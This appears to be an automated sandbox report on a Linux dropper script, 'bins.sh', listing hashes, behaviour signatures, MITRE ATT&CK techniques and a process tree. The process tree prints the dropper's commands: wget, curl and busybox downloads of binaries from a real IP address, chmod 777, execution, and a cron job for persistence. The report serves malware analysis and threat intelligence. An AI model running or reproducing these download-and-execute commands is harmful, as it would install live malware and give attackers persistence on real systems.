c056a582d436b69e831e6ef8abae1c532b79dcb3c12433b73fc27a447718b09e

Analysis

max time kernel
149s
max time network
153s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
19/11/2024, 16:21

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General

Target

bins.sh
Size

10KB
MD5

cdd6a3d3e08f6df591f6736ed154c56c
SHA1

00357309d336d5264e16b373b6fdc3db2287f423
SHA256

c056a582d436b69e831e6ef8abae1c532b79dcb3c12433b73fc27a447718b09e
SHA512

a0d9d2d0062a61b310633386b50680c48f52bca237df9bd40713b36bcc03157b57c0ee83b84bb7866ae7793f20503979f421f49466d7cb30d4cb72b8d9575395
SSDEEP

192:7URUBUxUGUaUGaygHDpneNHSttLGyeWufzapURUBUxUGUaUWaygHDDpttLGMeWuO:1eNH+eWufzaFeWufza

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2119) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1497	chmod
1482	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP	1483	UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
/tmp/j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m	1498	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m

Renames itself 1 IoCs

pid	Process
1499	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.Rt3EnF	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1269/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1528/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1587/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1610/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1689/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1739/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/17/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/943/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1883/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1932/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1747/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1748/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1827/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1888/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/998/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1156/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1522/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1588/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1618/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1824/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1912/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/12/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1162/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1905/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1515/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1609/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1903/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/152/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/458/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1847/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1516/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1574/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1795/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1862/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/15/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1600/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1941/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1764/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1822/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1325/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1463/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1648/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1901/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/544/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1120/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1518/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1602/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1869/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/89/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1511/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1694/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1537/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1657/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1879/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/2/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1652/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1104/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1580/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1777/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1819/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/1945/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/21/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/513/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
File opened for reading	/proc/638/cmdline	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m	busybox
File opened for modification	/tmp/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP	wget
File opened for modification	/tmp/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP	curl
File opened for modification	/tmp/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP	busybox
File opened for modification	/tmp/j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m	wget
File opened for modification	/tmp/j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1468
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1469
- /usr/bin/wget
  wget http://216.126.231.240/bins/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
  2⤵
  - Writes file to tmp directory
  PID:1470
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
  2⤵
  - Writes file to tmp directory
  PID:1480
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
  2⤵
  - Writes file to tmp directory
  PID:1481
- /bin/chmod
  chmod 777 UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
  2⤵
  - File and Directory Permissions Modification
  PID:1482
- /tmp/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
  ./UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
  2⤵
  - Executes dropped EXE
  PID:1483
- /bin/rm
  rm UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
  2⤵
  PID:1485
- /usr/bin/wget
  wget http://216.126.231.240/bins/j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
  2⤵
  - Writes file to tmp directory
  PID:1486
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
  2⤵
  - Writes file to tmp directory
  PID:1495
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
  2⤵
  - Writes file to tmp directory
  PID:1496
- /bin/chmod
  chmod 777 j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
  2⤵
  - File and Directory Permissions Modification
  PID:1497
- /tmp/j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
  ./j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1498
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1500
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1501
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1502
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1503
- /bin/rm
  rm j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
  2⤵
  PID:1505
- /usr/bin/wget
  wget http://216.126.231.240/bins/1cIYzwt6JDR8EWUvljYiVxsP545tvkdNSX
  2⤵
  PID:1508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.Rt3EnF

Filesize
210B

MD5
e08bb5901a386d6f75c919e574dbe2c7

SHA1
b48cbbe99e18750ac35a81c2db975ca3f486147d

SHA256
02f225b778ba4ed0862fecc9c5e3e252f12d5b1a00fac3da9a2ce279b8e63936

SHA512
06c0978885b08c27cd35b244cc560f7d3d327f6a71cd4b6d1d89de7ab1fbbc280724e5955fb4171ce4ffe3f92069a8b49fad04d6085d2d537efdfc9b851f85f5

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads